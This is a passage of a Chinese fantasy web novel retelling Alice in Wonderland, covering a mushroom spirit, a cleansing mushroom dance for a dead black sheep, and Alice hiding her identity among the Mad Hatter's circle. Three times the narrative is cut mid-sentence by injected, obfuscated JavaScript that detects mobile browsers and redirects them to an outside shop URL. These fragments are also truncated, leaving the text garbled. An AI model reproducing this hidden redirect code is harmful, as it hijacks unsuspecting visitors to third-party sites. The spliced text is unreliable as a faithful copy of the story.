鉴定结果:百分之九十九的可能性为羊骨,百分之一的可能性为其它。 “羊骨?为什么会想到用这个?他跟那只羊有仇?羊骨……有这么咸吗?那只羊掉海里了?” 爱丽丝忍不住嘀咕了起来。 “那是一只黑羊的骨头。它是从别的故事的裂缝掉进这个世界的,刚到这里就已经是一具骨头了,湿漉漉的,泡在自己的眼泪里。” “我问它为什么要哭。它说它活了两世,都为自己的诚实付出了惨痛代价。它说完自己的故事就去世了,坚硬的骨头被蓝毛虫看中,拿去做了水烟袋。虽然缺少打磨,但蓝毛虫很满意,因为它很耐用。” “我可以告诉你它的故事。” “第一世它是人,无意间搬到了一个满是窃贼的小镇,因为坚持不偷东西,自己的家当都被偷光了,饿死在家中。” “第二世它不想做人了,求冥神把它变成了羊,隐居山野,远离人类。谁料来了一个杀人无数,满手鲜血的牧羊人,非说自己是最慈悲的真神,要找一些羊来当他的随从,给他捧场,传道,在世间弘扬他的威信。它不愿意帮这个牧羊人说谎,于是被他杀死。” “它的肉被牧羊人和他的追随者分食,它的皮被扒下来用作反面教材,牧羊人逢人便挥舞着它的羊皮说:你们看到了吗?不信真神的黑羊就是这个下场,黑羊是害群之羊,必须猎杀!只有皈依真神的白羊才是唯一合法的羊,才能安稳无忧!” 听到这个回答,爱丽丝忍不住为黑羊的命运叹息。 “天呐!那我知道它为什么会哭那么厉害了,它一定是觉得不值得,过分诚实,换来两世不得好死!” 纠正的声音随之传来。 “不是这样的!它哭是因为,它发现光是做自己,并不能等到想要的世界,它后悔自己发现得太晚,没有主动去改变什么。” 爱丽丝更难过了。 “惨死两次还能如此坚持原则,难怪它的骨头那么硬呢!……它应该被好好安葬,而不是做成水烟管啊!” 墨水瓶打断了她的悲伤,奇怪地问她:“爱丽丝,你在跟谁说话?” 爱丽丝这才发现,刚才跟她说话的并不是墨水瓶——那个声音不比墨水瓶的稳重徐缓,听起来更加犀利、急促。 是谁在说话?爱丽丝茫然四望。 “嘿,你发什么呆呢?!这么久了,你竟然都没注意到我?!” “我认真地跟你说了半天话,你竟然把我当成了别的……东西?!” “看这里,看这里,我就在你眼前啊!!” 发起脾气来,那个声音变得更尖。 循着声音找去,爱丽丝终于发现,它来源于微微颤抖的烟仓中。 说话的……在水烟管里?! 爱丽丝赶紧打开烟仓。 在烟仓被打开的那一瞬,尖锐的爆鸣,在她耳边炸开。 “啊啊啊啊啊啊啊啊啊!!!” “噫噫噫噫噫噫噫噫噫!!!” “哇啦呼啦呜呜呜呀哈!!!” …… 那声音变着法儿叫了好一阵,爱丽丝终于受不了了。就是捂着耳朵,也感觉耳膜要被震破了! 她也提高音量,跟那声音对吼:“我说,没及时发现你是我不对,但是你的报复也该够了吧!我又不是故意的,我可以给你道歉,给你赔偿,但是请你先正常一点!” 那声音静了下来,发出轻微的喘气声,像是在休息,随后又欢快地回道:“你不懂,我憋了好久好久,好不容易才解放出来,可以回归本体,当然得叫个够!” 说着说着,那声音的主人又想起自己还有个气没生完,又厉声厉色起来:“你还有脸说我不正常?刚才是谁像个疯猴一样猛地踹我身体?我招你惹你了吗,你要把我往死里踢啊?还好我身体结实,不然早就碎成渣了!” 爱丽丝下意识地反驳:“谁踢你了,我刚才踢的明明是……” 她忽地一顿,灵光一闪,恍然大悟。 “你是那颗大蘑菇,对不对?蓝毛虫刚刚趴的那颗?” “听你的意思,你的灵魂和身体分离了,灵魂被困在这个水烟管里?” “怎么会这样?我有什么可以帮你的?你尽管说!” 听她这么说,大蘑菇的气顺了很多,声音也温和了不少。 “唉,怎么说呢?你也知道我们蘑菇整天原地不动,时间久了,我觉得怪没意思的,就用菌丝网四处搜索植物运动法,搜到了一个灵魂出窍术,无论风吹日晒,雨打雷鸣,都坚持每天苦练,就这样坚持了多年,终于成功了!” “没想到法术练成竟是我乐极生悲的开始!我只不过是四处转悠了一下,逛了逛附近的花园,院子,厨房,茶话会现场什么的,再回来的时候,身体已经变成了那只蓝毛虫的座椅!” “谁允许他随便坐上去的?我明明挂了牌子说''请勿靠近,本蘑有毒'',他是瞎了吗?!我气得要命,当下就要冲过去跟他理论,却忘了自己还是魂体状态,一不小心用力过猛莫名其妙就……被关进他的水烟袋里了。” “真是的,你说,怎么会有这么没素质的虫?虽然我的魂体……诶诶诶你干什么!住手!” 当大蘑菇之魂因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294133|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为失重、晕眩而惊叫起来时,已经晚了——爱丽丝已经把水烟袋倒转过来,用力地摇了几下,把她晃到了地上。 “愚蠢的人类!唔唔唔——你在对本蘑做什么——唔唔唔——” 这只半透明半流体状的蘑菇之魂,疑似失去了所有力气和手段,只能任由一个好奇心过分旺盛的人类女性捏圆搓扁。 爱丽丝知道她这么做有点不厚道,但她实在忍不住,这只蘑菇魂,好像弹性极佳的小果冻啊!手感真的好好! 幸亏是落在她手上,要是被真正的坏人发现了,还不得一口吞了? 话说这小果冻应该跟她的猫很合得来,毕竟她们都是流体,有机会一定要介绍她们认识……不过猫好像吃甜食会死?不对,小果冻的本体是大蘑菇,那么大的蘑菇,她的猫应该也懒得吃……但是转念一想,给猫弄个蘑菇状的猫爬架好像也挺不错的,旧的她们都玩腻了…… 爱丽丝沉浸于自己的胡思乱想中,没留意“小果冻”的愤怒值蹭蹭飞涨,攒到一定程度,就爆发出惊人的力量,一个旋风弹射,“嗖”一下把她撞倒在地。 当她揉着摔疼的胳膊爬起来时,只来得及看到“小果冻”的最后一丝残影,钻进了不远处的大蘑菇里。 大蘑菇显然还记仇,在身上又挂了个牌子,赫然写道:“爱丽丝与笨蛋不得靠近!!!” 爱丽丝赶忙跑过去道歉。 “刚才实在是对不起,我一兴奋就会这样,下次不会了……我、我会加倍补偿你的!” “你现在已经自己归位了……还有什么是我能为你做的吗?” 大蘑菇沉默了一阵,犹豫着说:“我不确定……要不要把你卷进来,因为这事实在叫人头晕得厉害,我怕你承受不住,先倒下了。” “我那刚结识就去世的朋友,那只可怜的黑羊,它的怨念一直没有消除。被困在水烟管里我才知道,它的痛苦比我想象得更剧烈,无法描述的痛……” “我总能听到它的哭声,总是做噩梦,梦见它在一个又黑又冷的地方喊我,让我帮忙超度它……我真心希望它能安息,我也不想再做噩梦了!” 爱丽丝的神色凝重起来。 “所以……你希望我做一个盛大的超度仪式,让黑羊能好好转世,让它的怨念能消散?” “这个确实超出我的知识范围了,需要准备的东西也很多,但是没关系,我会尽全力去做的!” 帮她也是帮自己。爱丽丝想,只有清除了水烟袋上的怨气,它才能变成自己真正需要的东西。 坚定纯粹的决心,百折不弯的骨气。 她的改命笔需要这样的材料。 这也是灵感之神设下的第二个隐喻吧。 大蘑菇见她如此坚定,放心了下来。 “这个仪式虽然严酷,但我相信,它是难不倒你的!” “一般的人类固然招架不住蘑菇圆舞的强度,但你显然不是一般人!” 抓取到关键词的爱丽丝,怀疑自己听错了。 “所以你说的盛大仪式是加入你们的蘑菇圆舞?你说的晕眩是指跳舞太猛会晕?……等等,你们不是不会动吗?” 5. Viva la vida! “你怎么这么傻?这里可是有魔法的童话世界!” 大蘑菇发出一叠声解释,摇摆的身体闪着得意的蓝光。 “而且,我还是被作者赋予了‘咬一咬就能随意变大变小’力量的神奇蘑菇!” “我在原作里虽然没有台词,但地位很重要。你之前能随意改变体型,自由出入各种地方,全靠了我。你吃过的变小药水和变大蛋糕,原料也都是我!” “这里的很多人——不,不只是人,你能想到的角色,和许多你想象不到的角色,都需要用到我的神奇力量。作为交换,我索取了很多我需要的书籍和道具——这可比自己用菌丝网苦苦搜寻,要来得快得多啦。” “我看了蘑菇大百科,才知道原来我有那么多可爱的同类;我用坏了好多道具,才制造出我需要的魔法,获得了召唤同类的能力。我苦练了很久很久,才学会了移动的魔法,还能暂时把它传递给我身边的同类们。这些虽然难,但还是比灵魂出窍简单一些。我如今已经十分熟练啦!” 好励志的蘑菇!好带劲的蘑菇! 难怪她显得如此水灵闪亮,难怪她有如此充沛的生命力!毕竟,知识是滋润生命的源泉啊! 爱丽丝肃然起敬,击掌赞叹道:“喔——!我明白了,你是最智慧的蘑菇,最强大的蘑菇,是蘑菇之王,是菌界之光!” 大蘑菇象征性地矜持了一下,但根本掩饰不住上扬的嘴角。 “哈哈哈,还好啦,但既然你这么诚心诚意地夸我,我就笑纳这些称号了!” “我们蘑菇原本就能通过菌丝传递电磁脉冲,来进行对话。当我唱起召唤之歌的时候,我会赋予我的电磁超越时空的能量,我的同类们,就会从其它故事世界,或者现实世界过来,汇合在一起。” “然后我会施法,让大家能自由地跳起狂欢之舞,净化之舞!” 爱丽丝追问道:“到底是狂欢之舞还是净化之舞呢?” 大蘑菇神采飞扬:“一样的,因为狂欢就是最好的净化呀!它能够把所有痛苦和怨气,都震出身体!” 爱丽丝若有所思:“我懂了,物理驱魔是吧?……可是,大批蘑菇忽然消失,不会引起其它角色的怀疑吗?” 大蘑菇摇了摇头,又点了点头:“哎呦,你知道的,无论是在虚构世界还是在现实生活,都很少有人去关注蘑菇在做什么。正好方便了我们的跨界聚会。” 她开始绘声绘色地演了起来,一蘑分饰两角。 “就算有人说‘天呐,我敢以我最重要的东西担保,刚才那丛蘑菇凭空消失了!如果我说谎,我家爱犬今晚就误食巧克力暴毙!’其它人也会说:你一定是吸入了有毒的菌粉,出现了幻觉啦。或者你吃了太多过期巧克力不幸中毒,和你家狗交换了灵魂,现在在狗叫?不管怎么说,还是让我们送你去医院吧,我们可不想被传染什么疯病蠢病。” 到这里,爱丽丝更加确定,她跟这只神奇的大蓝蘑菇,一定合得来。 她一定要想办法把此蘑拉进她的剧团! 不过现在,还是先干正事吧。 爱丽丝催促道:“我明白了,所以,是要我拿着水烟管,跟蘑菇们一起跳圆舞对吧?” “我的圆舞跳得可不赖,大家都说从没见过比我更好的舞者!你就放心招呼你的同类们过来吧!” 大蓝蘑菇见她如此自信,放下心来,大声地唱起了召唤同类之歌: 脑花菌!血齿菌!绿荧菌! Gyromitra esculenta!Hydnellum pecki!Mycena chlorophos! 鹿角菌!猴头菌!刺猬菌! Xylaria hypoxylon!Hericium clathroides!Phaeomarasmius erinaceus! 秃马勃!火鸡尾!狗蛇头! Calvatiagigantea!Trametes versicolor!Mutinus caninus! 皱纹桃!堇紫珊!南瓜灯! Rhodotus Palmatus!Clavaria zollingeri!Omphalotus olearius! 死亡号角!亡者之指!章鱼鬼笔! Craterellus cornucopioides!Xylaria polymorpha!Clathrus archeri! 毒蝇鹅膏!致命网帽!笨蛋漏斗! Amanita muscaria!Cortinarius rubellus!Clitocybe rivulosa! 骗子骑士!毁灭天使!恶魔雪茄! Tricholoma arvernense!Amanita virosa!Chorioactis geaster! …… 敬爱的生命之母,庇佑万物! Momaas''s might,shield life''s essence! 神圣的夜与梦之统治者,赐我力量! Holy spirit of dream and night,bless mushroom''s nonsense! 伟大慷慨的森林领主,闪烁紫罗兰光辉的月神,长角的农神啊! Green lord,violet moon,horned Samhain! 永恒的群星之王!庄严的精灵之王! Our immortal cynosure!Our beloving fairy queen! 引领我们,进入神秘的蘑菇盛宴! Guide us to the kooky creepy ring! 呼唤我所有的姐妹!呼唤我所有的兄弟! All of my sisters and brothers! 无论你是何属性,无论你身在何方, 请响应我的召唤,加入我们的团聚! Whatever you are and wherever you are, nowe and jion me with the union! 让我们打破时间与魔法的界限! Break th chain of time and magic! 让我们团聚在看不见的怨灵身边, 与之狂欢作乐,直到太阳升起! Let us play with the unseen, until the sunriseing! 让我们宽慰它的不幸,帮它走出困境,35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294134|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 与之谈笑跳舞,直到悲痛消失! Let us relief it''s grief, dance to the end of tragic! 灵性之力量,此刻达到巅峰! Wairua! Wairua! Wairua! 所有蘑菇都听令,速速前来,势不可挡! Puhpowee!Puhpowee!Puhpowee! …… 唱完这首神圣、复杂的召唤之歌,大蓝蘑菇又旋转着,低声念叨一些爱丽丝听不懂的话。 大概是专属于蘑菇的语言吧。 在她的召唤之下,周围的景物逐渐变成另一幅模样: 隐匿的群星纷纷出动,亮出缤纷炫目光辉,掉到花上,化为美丽迷幻的灯;雪白糖霜般的月亮蒙上紫罗兰色的面纱,像是更加美味,酸甜可口的混合莓果果酱;狂风呼啸,山洞呜呼,天空旋转,大地摇颤,树木的影子挣脱束缚,快乐扭动,闲散的藤蔓缠结成护法的卫兵,严阵守望,河流与瀑布逃开重力,逆流飞翔…… 最后,时空的链条被震开,故事的边界被打破,巨大的灵性漩涡出现,各式各样、奇形怪状的蘑菇们,携家带口,从天而降,落到地面,默契地围成了一个个大圈! 听大蓝蘑菇讲完本次聚会的主题,大家为不幸的怨灵集体默哀了三分钟,接着,便将目光都转向了主祭人爱丽丝,啧啧惊叹,议论纷纷。 “她就是那个有名的爱丽丝?她真的是那个天才幻想家,时间窃取者,梦境穿越大师,地下世界救世主,威武强大的屠龙骑士爱丽丝?” “真是百闻不如一见啊,她比想象中的还要闪亮!就是太闪亮了一点,让我有点恐光!” “你是不怎么恐光的品种,可以请你帮我去要个签名吗?” “我是不恐光,但是我恐社交呀!算了算了,远远地看一下就好……” …… 爱丽丝很享受被蘑菇们吹捧的感觉,她被夸得有点飘飘然,以至于没太仔细听清大蓝蘑菇说的净化圆舞注意事项。 “根据道路与机缘之神的指引,我们这次在摇摇乐蛋壳里抽到的口号是Viva la vida,生命万岁。全体注意,每一轮念这个口号,至少要念三遍才能停顿,不能少!因为一和二是酝酿生命的数字,三才是生命诞生的圣数,三才是多!” “按照以前的传统,我们要跳的圆舞是四三拍,规则是往左扭四下,往右扭三下,旋转四圈,跳三下,然后开始交换位置,交换舞伴。一定要跟周边的同伴围成一个圈,不要跳出圈子。被精灵祝福的蘑菇圈,能抵御邪恶!” “我已经把你们都变大,让你们能够托举爱丽丝。她必须全程站在蘑菇上跳舞,直到天亮,把每一个蘑菇圈都跳遍,吸收每个蘑菇圈的净化力量。被站到的蘑菇,务必动作放轻一点,节奏慢点,别把爱丽丝颠下去了!” “在情绪激动时,我的力量有时会失控,大家等会儿跳舞时,切记跟我保持社交安全距离,不然可能会发生可怕的变异!” 喧嚣之中,她更没有听见墨水瓶的嘱咐:“爱丽丝,你最好戴上你的口罩,我有预感,不这么做,你会后悔。” 当蘑菇圆舞开始,在一波一波的“Viva la vida!”声浪之中,在一轮一轮的旋转跳跃中,爱丽丝很快陷入了野兽醉酒般的迷狂。 6. 这样很难不癫 她看到月亮融化,变成千万张坠落的面具,把凝固的空气砸碎,在清脆的裂响奏鸣曲中,金色流沙喷泉般涌出,刹那成灾。 而后森林下陷,狂风在动荡的缝隙中被切割成无数条彩带,炸到天空,席卷群星,煮沸海洋,铸成一个不断冒出气泡、鱼儿和宝石的熔浆蛋糕。 她在流沙、地震和坍缩的光影中被压成片状,却丝毫不觉得不疼痛,而是感到不可思议地轻松。 熔岩蛋糕冒出许许多多活泼的蓝色火焰,热情地跳过来邀她起舞,它们和蘑菇们激烈地争夺先和她跳舞的权利,每一个赢了的,都会先送她一个银色铃铛表示敬意。 她不断地歌舞,左手拉着火焰,右手拉着蘑菇,头发乱了就扯几条风当发带,靴子掉了就踩着气泡当垫脚板,有时一条路过的鱼拍在她脸上,她也毫不在意,捡起它们贮存了星辰和珊瑚之梦的鳞片,填补磨损的腰带,然后带着天与海的光辉,继续大声歌唱,跳舞,拍手,旋转,笑纳舞伴们的铃铛。 她忘我地歌舞,大喊着“生命万岁!理想不死!”,直到声嘶力竭,她又喝下铃兰花酒杯中盛着的月光,再次呐喊,循环往复,从不停息。 很快她就挂了满身满脖的铃铛,连头发上也缠了不少,她逐渐觉得有些累了,本能地晃荡着身体,将这些铃铛甩掉。 所有铃铛都在飞驰而去的瞬间,变成了一只只蝴蝶,枯败如落叶的外翅下,隐藏着无与伦比、独一无二的惊艳纹路。 所有蝴蝶都在飞翔中绽开自己美丽的内翅,异口同声地欢呼:“生命万岁!理想不死!生命万岁!理想不死!生命万岁!理想不死!” 到最后,它们凝聚起来,化为一只巨大的枯叶蝶,飞到她眼前,对她道谢。 “谢谢你,好朋友,我很喜欢这样的告别仪式。” “我很快就会彻底消失,安详宁静。” “因为我知道,就算我死了,我的理想也不会死。因为我知道——你会战斗到底。” “希望我的硬骨头能一直陪伴着你,度过所有艰难时刻,至于我——你记得也好,最好你忘掉。” 没想到第一次见面就是诀别。 爱丽丝忍不住红了眼眶:“我们还会再重逢吗?下一次,你想变成什么呢?” 蝴蝶对她微微扇动翅膀,如一个拥抱,一个间奏休止符,如宇宙在永恒时空初次诞生时的一次呼吸。 “我会归于自然,回到生命之母的怀抱。我不知道我会变成什么,但你以后遇到的每一阵风,每一滴雨,看见的每一朵花,每一颗星 星,都有可能是我,或者——其中一个我。” 最后,蝴蝶又欢呼了一声“生命万岁!理想不死!” 当融化的月亮被温暖跳动的大橘子取代,扭曲、躁动的万物重归平静,蝴蝶也转身飞远,化为逐渐黯淡模糊的剪影,直至无形。 在蝴蝶变成剪影消失时,纸片爱丽丝的身体重新膨胀起来。 她本以为自己会很快恢复原貌,没想到她疯狂膨胀的节奏根本止不住,旁边的大鱼穿上草裙的功夫,她就膨胀成了一只大气球! 更糟糕的是,她感觉到自己的左脚和右脚开始躁动起来,像螺旋桨一样,要跟气球肚子一起,把自己送上天! 不要啊!她不要被那个看起来就很火热的大橘子烧死! “啊啊啊啊啊啊啊啊啊啊!” 慌乱间,爱丽丝胡乱挣扎,抱住了离她最近的一颗大蘑菇。 但这也没用,那颗大蘑菇反而被她也带上了天。 双脚离地,漂浮在半空时,爱丽丝反而冷静了。 事已至此,先吃口糖霜小蛋糕吧。 刚才抓过来的大蘑菇不知何时变成了美妙动人,晶莹闪亮的糖霜蛋糕,看着还是她喜欢的蓝莓味。 爱丽丝美滋滋地抱着蓝莓糖霜蛋糕,大大地咬了一口。 “嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷!” “好痛啊别啃本蘑啊!!” “都叫你离我远点了你不听,现在咱俩都要倒霉了!!!” 这熟悉的声音,凄惨的惊叫,彻底把爱丽丝吓醒。 清醒过来的爱丽丝发现,天空中挂着的根本不是大橘子,而是大太阳,自己抱着的也根本不是什么蓝莓糖霜蛋糕,而是那颗大蓝蘑菇! 她赶紧松开嘴,不好意思地问:“大蓝啊,这下我欠你的更多了……下去再说吧。现在我们该怎么降落呢?” 大蓝蘑菇怒气冲天。 “别叫我大蓝!跳舞之前我说了好几遍,我是世上最强最神奇的糖霜鬼伞,你没听到吗?!” “你不仅不记得我的名字,还打破禁忌,在我情绪激动力量失控时靠近我,啃了我。现在,我得承担''伤害主角''的惩罚,而你呢,就继续当气球吧,活该!” 爱丽丝急切地追问:“我该怎么做才能让我们都恢复原样?” 糖霜鬼伞还没回答,就变成一颗小蘑菇,从爱丽丝怀里悬空,急速坠落下去。 “可恶啊!老娘好不容易才长到一百一十寸!!!……” 爱丽丝只来得及听到她留下的这句怒吼。 噢,真糟糕!是她得意忘形,搞砸了一切。唉,希望糖霜鬼伞没事……她有魔法傍身,应该没事吧?还有她混乱中落下的水烟管,墨水瓶会帮她收好吧?……现在这样不受控制地四处乱飘,也不知道会去哪里呢,会不会误入一个陌生又可怕的领域?…… 爱丽丝又心烦又无助地漂了一会儿,瞥见不远处一颗参天大树时,忽然来了主意。 对了!不是说打嗝有助于排出体内多余气体吗?不是说胀气时拍背,有助于打嗝吗?她只要想办法,让后背撞上那棵树,说不定就能顺利降落了! 说干就干,她抓了几片云,做成柔软的垫子,又抓了几条风当带子,把软垫绑在背后。 降落的时候,这玩意儿还可以撑开来,当降落伞! 一物两用! 万幸这里是神奇的童话世界! 感谢用心画风景细节的插画师们! 准备就绪后,爱丽丝控制着手脚移动的方向,慢慢朝目标大树靠近。 还有两臂距离时,她背过身去,几个眨眼的功夫,她的背就如她所愿,“砰”一声撞到了树上。 幸运的是,她肚子里的多余气体真的很快排出了。(虽然几十个嗝打得实在辛苦) 不幸的是,她降落到一半,就卡在了一堆纠缠的大树枝之间。 不幸中的万幸是,她被卡住的地方离地面不远,让她能听见下面的角色们都在说什么。 “天呐!现在到处都是爱丽丝的通缉令 ,我都撕到手软了还撕不完,太可怕了,希望她能逃过这一劫!” “真搞不懂,她怎么就忽然成罪人了,地下世界不是每天,每时,每刻都很荒谬吗?说是她让这里变得不正常了,也太奇怪了!” “就是啊,我也纳闷。这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294135|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有正常过吗?最有病的就是皇室本身,尤其是红皇室!以前让人倒立着去给火烈鸟刺猬曲棍球赛写十四行诗,现在更神经,竟然让我这个做帽子的,和一只瞌睡鼠,一只笨兔子,一只疯癫猫,用红茶和果酱做出胡椒牛排?!” “你说谁笨呢?我只是经常搞错时间而已,这能怪我吗?明明是这个世界的时间不讲道理,老是变来变去的!” “对不起伙计,口误而已。再说了,你不也经常叫我蠢帽子嘛,彼此彼此。” “你们都少废话吧,赶紧动身去找爱丽丝才是要紧事。至少得让她知道,我们是站在她这边的。” “有道理,可是多年不见,也不知道她现在变成什么样了?不知道那通缉令上的画像准不准?……章鱼画师画的东西总是很抽象。” “不管爱丽丝变成什么样,我都能一眼认出她!她灵魂闪耀的光芒,是独一无二,璀璨无比,无法遮掩的!” “我也是!” “我也这么认为!” …… 听得越清楚,爱丽丝心情越激动。 她果然是魅力非凡,多年不见,老朋友们还这么惦念她! 她果然是福气不浅,身处困境,总能遇上坚定支持她的! 爱丽丝刚想对老朋友们大声打招呼,想起自己正被皇室通缉,还是低调点好,就改成脚踢大树,让落下的叶子传递暗号。 柴郡猫最早发现了这个暗号,伸出又长又灵活的毛绒绒大尾巴,把爱丽丝从树枝间解救下来,包裹起来,缓缓送她降落。 爱丽丝刚松口气,不知谁打了个极大的喷嚏,爱洁的柴郡猫下意识地一避,尾巴一松,爱丽丝又失去依托,“噗通”一声掉到大大的果酱缸子里。 虽然她会游泳,自己爬了上来,可是一通扑腾之后,她也沾满了果酱。 她跳下缸子,伸手想抹掉满身果酱,却震惊地发现,她的皮肤,不知何时,已经染上了糖霜鬼伞的蓝色! 大概……是因为她不久之前咬了糖霜鬼伞一口,一不小心被同化了? 她使劲搓了半天,也没把皮肤上的蓝色搓掉。连她头发上的果酱也像生根一样,把她的头发变成了一坨黏糊糊红色水草,或者说——番茄酱糊成一团的意大利面。 完了,她要是一直这个鬼样子,回去以后,她的家人会不会认不出她啊?她的猫会不会嫌弃她啊? 正郁闷时,柴郡猫漂过来,明亮如炬的金绿色大眼,出神地盯着她。 爱丽丝的眼中又亮起希望之光。 “妙妙!快救我!” 柴郡猫警觉地后退几步。 “你是哪来的妖魔鬼怪?我见过你吗?” 疯帽子抄起一个巨型搅拌勺当防身武器。 “别过来!我发起疯来可是很恐怖的!……我的勺子也不是吃素的!” 三月兔躲了起来,只闻其声不见其兔。 “就是!我们可是跟时间很熟的!尤其是我的好兄弟疯帽子,天天跟时间谈笑风生!要知道,时间是一切的主宰!你惹不起!” 睡鼠吓得四处乱窜,嗑到桌角,直接昏睡,四脚朝天,一动不动,但不断说着“快逃啊快逃啊去找爱丽丝救命”的梦话。 爱丽丝沉默了。 不是,说好的无论怎样都能认出她呢? 这些疯子就纯粹过过嘴瘾是吧? 她变个色就认不出了? 什么塑料友谊!可恶! 7. 三原料一台戏 爱丽丝刚想报上自己的名字,再解释一下自己为什么会变成这样,转念一想,作为一个通缉犯,将错就错隐瞒身份似乎更好。 首先她并不确定,这帮“老朋友”对她是否如他们所说的那般忠诚。她这次的闯入,似乎打乱了许多东西,谁知道其中是否包括他们的立场?以前他们可以算朋友,现在可未必。 经历了漫长的菌子中毒幻觉之后,她也有些疑心自己此时是否仍然处于幻觉中,她看见的他们,真的是本尊吗? 或者……他们会不会是伪装成本尊的间谍?是通缉她的皇室派来迷惑她的? 就算他们真的愿意冒险掩护她帮助她,此时告诉他们自己的身份,依然不够安全。 这可是四个角色,谁能保证没有一个会说漏嘴?要是最倒霉的情况发生,他们四个被四队卫兵抓起来灌下什么真话药水之类的东西,她不就危险到极点了? 想清楚了的爱丽丝,面对柴郡猫再一次的追问,随口说道:“我是爱尔兰……我也搞不清为什么,在航船上睡着之后,再一睁眼,就到这里了。” 她的表情十分自然,因为她今天穿的恰好是这套戏服,她演这出戏演过很多次:一个苦难的爱尔兰水手历尽艰辛,终于摆脱奴役,并找到了失散已久的家人,带着攒下的钱,一起回家乡开了一家梦寐以求的音乐酒馆,向同胞们歌唱她的传奇。 这出戏是她所有戏里面最不卖座的,但她自己很喜欢,这是根据她一个爱尔兰朋友告诉她的真实故事改编的,她欣赏主角的风骨。 三月兔从草丛里探出头来,半信半疑:“你叫这个名字,你是爱尔兰人?那么,你的红发就解释得通了……但是,你的皮肤又是怎么回事?我可没见过哪个人类有这样的肤色。” “而且,你如果第一次来,怎么会知道柴郡猫的名字?” 爱丽丝面露悲痛之色:“噢,我得了一种罕见的病,虽然治好了,但由于药物副作用,皮肤变成了蓝色……这就是我被当成怪物赶出来,只能睡树下的原因。” 接着,她又用慈爱的眼神看着柴郡猫。 “这只猫……他太像我家的猫了!他也是一只柴郡猫,他也叫妙妙!怪不得我一见到他,就觉得亲切!柴郡猫是最棒的猫!” 爱丽丝默默在心中跟她家的奶牛猫和白猫黑猫说了声抱歉,事急从权,她不得不说谎。 柴郡猫的微笑从戒备变为和善。 “那么,你很适合这里。要知道,如果你太过正常,就会显得与这个世界格格不入。” 疯帽子兴奋地跑到她面前:“你真的是爱尔兰人?我听说爱尔兰人会说矮妖之语。你会召唤绿矮妖吗?你可以帮我召唤一个吗?我早就想看看世上最精巧最无与伦比的帽子长什么样了,要是能学个一两手,简直死而无憾!” 他喊得太大声,把昏迷的睡鼠闹醒了。 迷迷糊糊的睡鼠只听到个“死”,吓得跳了起来:“什么?谁死啦?” 疯帽子愉快回应:“没有谁。大家都好好的。对了——” 他摘下帽子,向爱丽丝的方向鞠了个躬,语气夸张:“隆重向你介绍一下,这是我们的新朋友:爱尔兰召唤师爱尔兰!她只要一声令下,世界上所有绿矮妖都会围过来,跟我们一起喝下午茶,一起唱歌跳舞,一起做帽子!” ……不要随便把你臆想的东西当成事实说出来啊!不要随便把别人的沉默当成肯定啊! 爱丽丝还没来得及说“其实说爱尔兰语是矮妖之语是一种调侃”,睡鼠就用充满希望的目光看着她,问道:“你那么厉害,肯定也能帮我们把红茶和果酱做成胡椒牛排吧?” 三月兔焦虑地叫起来:“求你救救我们!红皇后说,要么我们在下次宫廷宴会前做出九百九十九块胡椒牛排,要么我们找到爱丽丝,把她交上去,否则就要受罚。无论是哪个,我们都做不到啊!我可不想变成烤兔子!” 柴郡猫嫌弃地撇了撇嘴。 “胡椒!我讨厌胡椒!一闻到胡椒我就要不停打喷嚏!那些贵族就这么喜欢这种讨厌玩意儿吗?公爵夫人也是,红皇后也是……真搞不懂!” 疯帽子纠正道:“我记得红皇后最喜欢糖浆馅饼,不喜欢胡椒……睡鼠上次出庭当证人,就因为说了句馅饼是糖浆做的,差点被她当成偷馅饼贼,拖出去砍头。” “公爵夫人家倒是经常做胡椒饼,所以她的厨娘上次出庭,才会跟红皇后说馅饼大部分是胡椒做的。” “不过也难说是不是她自己喜欢。公爵经常对外抱怨夫人胡椒饼做得难吃,多少年都没长进。如果她很喜欢,怎么会一直做不好呢?我沉迷于做帽子,用尽笨办法,也能小有成绩。贵族应该比我们更有资本精进爱好啊。” 三月兔更焦虑了,指着怀表大喊:“不行了,别废话了!时间流速又变快了,我们得抓紧做任务了,再拖下去真的要死了!” 这些散乱的语言,忽然间在爱丽丝脑子里串起一条线。 胡椒?馅饼?时间? 怕胡椒的柴郡猫,一直做胡椒馅饼的公爵夫人,沉迷于精进帽子技艺的疯帽子,一直盯着时间的三月兔…… 她好像知道该如何一次性集齐三种重要原料了! 爱丽丝一本正经,胸有成竹地开口:“你们的难题,我知道如何解决!” “疯帽子,你做一批红茶果酱馅饼送给公爵夫人,跟她交换九百九十九块黑椒牛排!” “柴郡猫,这里只有你会漂浮,到时候,就麻烦你把做好的红茶果酱馅饼赶紧送过去,以免它们变质!” 